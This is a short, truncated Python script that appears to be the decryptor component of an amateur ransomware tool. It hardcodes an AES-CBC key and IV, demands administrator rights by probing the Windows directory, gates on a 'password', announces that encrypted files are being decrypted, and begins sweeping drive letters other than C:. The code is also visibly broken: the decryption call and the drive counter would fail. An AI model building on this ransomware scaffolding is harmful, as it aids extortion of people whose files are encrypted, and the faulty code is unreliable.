import os
import sys
from Crypto.Cipher import AES
import string

aa = b'D\xaa\xd4\x16$\x84\xacT\xa0M\x9fRP\xcec\xef'
bb = AES.MODE_CBC
cc = b'\x81,Jl]7\x13\t\xfb\xe8F@\xab2\xdck'
okds = 'YnJUjJglLhfJLunY'
dec = AES.new(aa, bb, cc)
nice = dec.decrypt(okds)
bom = os.environ
def chadm():
 try:
  os.chdir(bom['WINDIR'])
  ll = os.access('tes', os.W_OK)
  if ll == False:
      try:
       kk = open('tes', 'w+')
      except PermissionError:
          print("You must run it with Admin privelege. right click and run as Administrator")
          sys.exit()
          exit()
  
 except PermissionError:
  print("You must run it with Admin privelege. right click and run as Administrator")
  sys.exit()
  exit()
 except:
  print('error while Running it')

chadm()

#print message

check = input('type password: ')

abjad = list(string.ascii_uppercase)
abjad.remove('C')
null = 0

availl = []

if not check.startswith('0') or not check.endswith('0'):
    print('invalid password')
    sys.exit()

def addssy(x):
    return x + """:\\"""

print("decrypting encrypted file...(may take few hours. its depend how many files that encrypted)")

abjad = list(map(addssy, abjad))

#scan availble drive
def scandr():
 for cba in abjad:
  try:
   os.chdir(abjad[null])
   availl.append(abjad[null])
   null += 1
  except:
   null += 1




 
 
 


 
